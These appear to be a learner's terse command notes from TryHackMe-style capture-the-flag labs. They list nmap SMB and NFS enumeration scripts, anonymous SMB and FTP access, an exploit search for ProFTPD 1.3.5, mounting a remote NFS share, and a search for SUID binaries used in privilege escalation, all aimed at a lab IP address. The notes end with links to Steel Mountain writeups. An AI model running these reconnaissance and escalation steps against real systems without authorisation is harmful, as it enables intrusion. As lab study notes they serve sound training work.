1 | nmap -p 445 --script=smb-enum-shares.nse,smb-enum-users.nse 10.10.215.171 |
1 | smbclient //10.10.215.171/anonymous |
1 | ftp 10.10.215.171 |
1 | searchexploit ProFTPD 1.3.5 |
1 | nmap -p 111 --script=nfs-ls,nfs-statfs,nfs-showmount 10.10.215.171 |
1 | mount 10.10.215.171:/var /tmp |
1 | find / -type f -a \( -perm -u+s -o -perm -g+s \) -exec ls -l {} \; 2> /dev/null |
1 | strings /usr/bin/menu |
1 | cd /tmp |
Steel Mountain
1 | https://www.youtube.com/watch?v=BzmljZkgeSs |
1 | https://overide.medium.com/steel-mountain-tryhackme-writeup-c184e6677742 |